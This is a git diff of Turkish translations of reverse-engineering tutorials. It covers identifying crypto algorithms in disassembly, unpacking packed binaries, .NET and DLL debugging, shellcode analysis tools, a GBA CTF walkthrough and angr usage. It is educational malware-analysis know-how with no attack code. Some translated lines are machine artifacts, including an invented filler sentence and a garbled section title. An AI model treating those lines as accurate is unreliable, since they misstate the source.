döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. -- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceki değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle decompile edilmiş kodda **%256 (mod 256)** ile tanınır. +- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. +- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceki değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 baytlık bir **döngü, gerekli olduğu kadar** gerçekleştirilecektir. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır. > [!NOTE] -> **Bir disassembly/decompile edilmiş kodda RC4'ü tanımlamak için 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verisinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen %256 (mod 256) kullanarak** +> **Bir deşifreleme/dekompile edilmiş kodda bir RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak.** ### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayac olarak kullanılan 256 sayısını ve 256 karakterin her yerinde nasıl 0 yazıldığını not edin) @@ -86,8 +86,8 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta ### **Özellikler** -- **yer değiştirme kutuları ve arama tabloları** kullanımı -- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili **ya da dinamik olarak** _**oluşturulabilir**._ +- **Yer değiştirme kutuları ve arama tabloları** kullanımı +- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._ - **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır. ### SBox sabitleri @@ -99,16 +99,16 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta ### Özellikler - Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif) -- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak +- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak. ### Tanımlama Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını not edin).\ -Ayrıca **döngünün boyutunu** (**132**) ve **disassembly** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri** sayısını not edin: +Ayrıca **döngünün boyutunu** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri** sayısını not edin: ![](<../../images/image (381).png>) -Daha önce belirtildiği gibi, bu kod herhangi bir decompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Decompile edilmiş kod aşağıdaki gibi görünebilir: +Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzun bir fonksiyon** olarak görselleştirilebilir çünkü içinde **atlamalar** yoktur. Dekompile edilmiş kod aşağıdaki gibi görünebilir: ![](<../../images/image (382).png>) @@ -126,7 +126,7 @@ Bu nedenle, bu algoritmayı tanımlamak, **büyülü sayıyı** ve **ilk XOR'lar ![](<../../images/image (383).png>) -- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynı: `+7) / 8` +- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynıdır: `+7) / 8` - 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor. ## MD5 & SHA (hash) @@ -140,7 +140,7 @@ Bu nedenle, bu algoritmayı tanımlamak, **büyülü sayıyı** ve **ilk XOR'lar **Init** -Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. sha_init'in MD5'de olmayan 1 sabiti olduğunu not edin: +Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır: ![](<../../images/image (385).png>) @@ -178,7 +178,7 @@ Grafik oldukça büyük: ![](<../../images/image (207) (2) (1).png>) -Bunu tanımak için **3 karşılaştırmaya** bakın: +Bunu tanımak için **3 karşılaştırmayı** kontrol edin: ![](<../../images/image (384).png>) diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md index dd1393008..398353f18 100644 --- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md +++ b/src/reversing/cryptographic-algorithms/unpacking-binaries.md @@ -12,12 +12,12 @@ # Temel Öneriler - Paketlenmiş ikiliyi **IDA'da alttan başlayarak analiz etmeye** **başlayın** ve yukarı doğru ilerleyin. Paket açıcılar, açılmış kod çıkınca çıkış yapar, bu nedenle paket açıcının açılmış koda başlangıçta yürütme geçirmesi olası değildir. -- **Kayıtlar** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir. -- `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın açılmış kod yazabileceği bellek alanı ayırır. "Kullanıcı koduna koş" veya F8 kullanarak **fonksiyonu çalıştırdıktan sonra EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz. -- **`VirtualAlloc`** ile "**40**" değeri argüman olarak, Okuma+Yazma+Çalıştırma anlamına gelir (buraya kopyalanacak bir kod var). -- **Kod açma** sırasında **birçok çağrı** ile **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlar bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda iseniz, **fonksiyonun sonunu bulmaya çalışmanız** (belki bir JMP veya bazı kayıtlar için bir çağrı) **veya** en azından **son fonksiyona yapılan çağrıyı bulup oraya koşmanız** önerilir, çünkü kod ilginç değildir. +- **Kayıtlara** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir. +- `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın açılmış kod yazabileceği bellek alanı ayırır. "Kullanıcı koduna çalıştır" veya F8 kullanarak **EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz. +- **`VirtualAlloc`** ile "**40**" değeri argüman olarak, Okuma+Yazma+Çalıştırma anlamına gelir (buraya kopyalanacak çalıştırılması gereken bazı kodlar var). +- **Kod açma** sırasında **birçok çağrı** ile **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlar bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda iseniz, öneri **fonksiyonun sonunu bulmaya çalışmaktır** (belki bir JMP veya bazı kayıtlara çağrı) **veya** en azından **son fonksiyona yapılan çağrıya** kadar ilerleyin, çünkü kod ilginç değildir. - Kod açma sırasında **bellek bölgesini değiştirdiğinizde** not alın, çünkü bir bellek bölgesi değişikliği **açma kodunun başlangıcını** gösterebilir. Process Hacker kullanarak bir bellek bölgesini kolayca dökebilirsiniz (işlem --> özellikler --> bellek). -- Kod açmaya çalışırken, **açılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikilinin stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\ +- Kod açmaya çalışırken, **açılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikili dosyanın stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\ Ancak, eğer paketleyici zaten birçok string içeriyorsa, "http" kelimesini içeren string sayısını görebilir ve bu sayının artıp artmadığını kontrol edebilirsiniz. - Bir bellek bölgesinden bir yürütülebilir dosyayı döktüğünüzde, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz. diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index 1217084e8..0493606bf 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -12,9 +12,9 @@ Yazılım: Çevrimiçi: -- wasm (ikili) formatından wat (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın -- wat formatından wasm formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın -- decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı da deneyebilirsiniz +- **wasm** (ikili) formatından **wat** (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın +- **wat** formatından **wasm** formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın +- **decompile** etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı da deneyebilirsiniz Yazılım: @@ -25,7 +25,7 @@ Yazılım: ### [dotPeek](https://www.jetbrains.com/decompiler/) -dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile ve inceleyen** bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir. +dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile** eden ve inceleyen bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir. Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir assembly'den geri yüklenmesi gerektiğinde, bu işlemin zaman kazandırmasıdır. Ayrıca, dotPeek, decompile edilmiş kod boyunca kullanışlı bir navigasyon sağlar ve bu da onu **Xamarin algoritma analizi** için mükemmel araçlardan biri yapar. @@ -35,7 +35,7 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge - Bir kütüphane veya bileşen içindeki veri akışının nasıl olduğunu anlamanızı sağlar - .NET dilleri ve çerçevelerinin uygulanması ve kullanımı hakkında bilgi verir -- API'lerden ve kullanılan teknolojilerden daha fazla yararlanmak için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur. +- Kullanılan API'lerden ve teknolojilerden daha fazla yararlanmak için belgelenmemiş ve açığa çıkarılmamış işlevselliği bulur. - Bağımlılıkları ve farklı assembly'leri bulur - Kodunuzdaki, üçüncü taraf bileşenlerdeki ve kütüphanelerdeki hataların tam yerini takip eder. - Çalıştığınız tüm .NET kodunun kaynağına hata ayıklama yapar. @@ -43,11 +43,11 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) [Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan kurabilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\ -**Decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz). +**decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya aktif olarak bakımı yapılan bir çatalı, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz). -### DNSpy Günlüğü +### DNSpy Logging -**DNSpy'nin bir dosyaya bazı bilgileri günlüğe kaydetmesi** için bu kod parçasını kullanabilirsiniz: +**DNSpy'nin bir dosyaya bazı bilgileri kaydetmesi** için bu kod parçasını kullanabilirsiniz: ```cs using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; @@ -63,7 +63,7 @@ DNSpy kullanarak kodu hata ayıklamak için şunları yapmalısınız: ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` -Bu kısımda bir şey yok. Lütfen çevirmemi istediğiniz metni sağlayın. +Bu dosya, tersine mühendislik ve analiz için temel araçlar ve yöntemler hakkında bilgi sağlamaktadır. Aşağıda, bu araçların ve yöntemlerin nasıl kullanılacağına dair bazı temel bilgiler bulunmaktadır. ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | @@ -115,26 +115,26 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı ### IDA Kullanarak -- **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) +- **rundll32**'yi yükleyin (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) - **Windbg** hata ayıklayıcısını seçin -- "**Kütüphane yükleme/boşaltma sırasında askıya al**" seçeneğini seçin +- "**Suspend on library load/unload**" seçeneğini seçin ![](<../../images/image (868).png>) -- **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın: +- **DLL**'nin yolunu ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın: ![](<../../images/image (704).png>) -Sonra, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacak**, ardından rundll32 DLL'nizi yüklediğinde yürütme durdurulacak. +Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacaktır**, daha sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulacaktır. Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, nasıl olduğunu bilmiyorum. ### x64dbg/x32dbg Kullanarak -- **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) -- **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain -- _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin. -- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracak, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın. +- **rundll32**'yi yükleyin (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) +- **Command Line**'ı değiştirin (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain +- _Options --> Settings_ kısmını değiştirin ve "**DLL Entry**" seçeneğini seçin. +- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın. Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmında**: @@ -150,7 +150,7 @@ Sonra, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğ cheat-engine.md {{#endref}} -[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Proje Hata Ayıklayıcısı (GDB) için bir ön yüz/ters mühendislik aracıdır, oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için de kullanılabilir. +[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Project Debugger (GDB) için bir ön yüz/ters mühendislik aracıdır ve oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için de kullanılabilir. [**Decompiler Explorer**](https://dogbolt.org/) bir dizi decompiler için bir web ön yüzüdür. Bu web hizmeti, küçük yürütülebilir dosyalar üzerinde farklı decompiler'ların çıktısını karşılaştırmanıza olanak tanır. @@ -162,8 +162,8 @@ cheat-engine.md ### Blobrunner ile bir shellcode'u hata ayıklama -[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode**'u bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracak**.\ -Sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koymanız ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklayacaksınız. +[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode**'u bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracaktır**.\ +Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeli ve belirtilen bellek adresinde bir **kesme noktası** koymalı ve yürütmeyi **devam ettirmelisiniz**. Bu şekilde shellcode'u hata ayıklayacaksınız. Yayınların github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. @@ -174,7 +174,7 @@ blobrunner.md ### jmp2it ile bir shellcode'u hata ayıklama -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **Shellcode**'u bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Daha sonra, **hata ayıklayıcıyı** sürece eklemeniz, **oyna başlat 2-5 saniye bekleyin ve durdurun** ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **Shellcode**'u bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, **hata ayıklayıcıyı** sürece eklemeli, **başlat düğmesine basmalı, 2-5 saniye beklemeli ve durdurmalısınız** ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız. ![](<../../images/image (509).png>) @@ -184,11 +184,11 @@ Derlenmiş bir versiyonu [jmp2it'in yayınlar sayfasından](https://github.com/a [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare'nin GUI'sidir. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz. -Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın. Benim durumumda shellcode'u dosya olarak açtığımda doğru bir şekilde decompile etti, ancak shellcode olarak açtığımda etmedi: +Cutter'ın "Open File" ve "Open Shellcode" seçeneklerini sunduğunu unutmayın. Benim durumumda, shellcode'u dosya olarak açtığımda doğru bir şekilde decompile etti, ancak shellcode olarak açtığımda etmedi: ![](<../../images/image (562).png>) -Emülasyonu istediğiniz yerden başlatmak için oraya bir kesme noktası koyun ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır: +Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarlayın ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır: ![](<../../images/image (589).png>) @@ -214,7 +214,7 @@ scDbg ayrıca istediğiniz seçenekleri seçip shellcode'u çalıştırabileceğ ![](<../../images/image (258).png>) -**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için faydalı olabilir. **Debug Shell** seçeneği, scDbg terminalini kullanarak shellcode'u hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz). +**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz). ### CyberChef kullanarak ayrıştırma @@ -243,7 +243,7 @@ Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok ![](<../../images/image (1080).png>) Bu durumda ikili dosya authenticator olarak adlandırılmış, bu yüzden bu ilginç ana fonksiyon olduğu oldukça açıktır.\ -Çağrılan **fonksiyonların** **isimlerini** öğrendikten sonra, **girdileri** ve **çıktıları** hakkında bilgi edinmek için bunları **İnternet**'te arayın. +Çağrılan **fonksiyonların** **isimlerini** öğrendikten sonra, **girdi** ve **çıktıları** hakkında bilgi edinmek için bunları **İnternet**'te arayın. ## **Delphi** @@ -253,9 +253,9 @@ Eğer bir Delphi ikili dosyasını tersine mühendislik yapmanız gerekiyorsa, I Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin. -Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başında bir kesme noktası oluşacaktır. +Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başlangıcında bir kesme noktası oluşacaktır. -Ayrıca, grafik uygulamasında bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır. +Ayrıca, grafik uygulamasında bir düğmeye bastığınızda, hata ayıklayıcı o düğme tarafından yürütülen fonksiyonda duracaktır. ## Golang @@ -267,13 +267,13 @@ Bu, fonksiyonların isimlerini çözecektir. ## Derlenmiş Python -Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz: +Bu sayfada bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz: {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## GBA - Oyun Gövdesi İleri +## GBA - Oyun Vücut İleri Eğer bir GBA oyununun **ikilisini** alırsanız, **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz: @@ -282,7 +282,7 @@ Eğer bir GBA oyununun **ikilisini** alırsanız, **emüle** etmek ve **hata ay - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi -[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_\*\* \*\* kısmında Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz. +[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_\*\* \*\* kısmında Game Boy Advance **düğmelerine** nasıl basılacağını görebilirsiniz. ![](<../../images/image (581).png>) @@ -368,13 +368,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; ``` Önceki kodda **uVar1**'in (**basılı düğmenin değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz: -- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** düğmesi): Bu düğme, bu zorlukta ekranı temizliyor. -- Sonra, **değer 8** ile karşılaştırılıyor (**START** düğmesi): Bu zorlukta, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor. +- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** düğmesi): Bu düğme, meydan okumada ekranı temizliyor. +- Sonra, **değer 8** ile karşılaştırılıyor (**START** düğmesi): Bu, meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor. - Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor. - Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\ -**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir şey yapılıyor (temelde, cont 8'den küçük olduğu sürece, bu değişkende basılan tuşların değerlerini topluyor). +**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece, bu değişkende basılan tuşların değerlerini topluyor). -Bu zorlukta, düğmelerin değerlerini bilerek, **sonuçta 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.** +Bu meydan okumada, düğmelerin değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den küçük bir uzunlukta bir kombinasyon basmanız gerekiyordu.** **Bu eğitim için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md index 399df14a8..6d6f0d5d4 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/README.md +++ b/src/reversing/reversing-tools-basic-methods/angr/README.md @@ -121,7 +121,7 @@ simgr.active[0].regs.rip #Get RIP from the last state - `entry_state` ve `full_init_state` içine `args` aracılığıyla bir argüman listesi ve `env` aracılığıyla bir ortam değişkenleri sözlüğü geçirebilirsiniz. Bu yapılardaki değerler string veya bitvector olabilir ve simüle edilen yürütme için argümanlar ve ortam olarak duruma serileştirilecektir. Varsayılan `args` boş bir listedir, bu nedenle analiz ettiğiniz program en az bir `argv[0]` bulmayı bekliyorsa, bunu her zaman sağlamalısınız! - `argc`'nin sembolik olmasını istiyorsanız, `entry_state` ve `full_init_state` yapıcılarına sembolik bir bitvector olarak `argc` geçirebilirsiniz. Ancak dikkatli olun: bunu yaparsanız, `args` içine geçirdiğiniz argüman sayısından daha büyük olamayacak şekilde sonuçlanan duruma bir kısıtlama eklemelisiniz. -- Çağrı durumunu kullanmak için, `.call_state(addr, arg1, arg2, ...)` ile çağırmalısınız; burada `addr`, çağırmak istediğiniz fonksiyonun adresidir ve `argN`, o fonksiyona geçilecek N'inci argümandır; bu argüman bir python tamsayı, string, dizi veya bitvector olabilir. Bellek tahsis edilmesini ve gerçekten bir 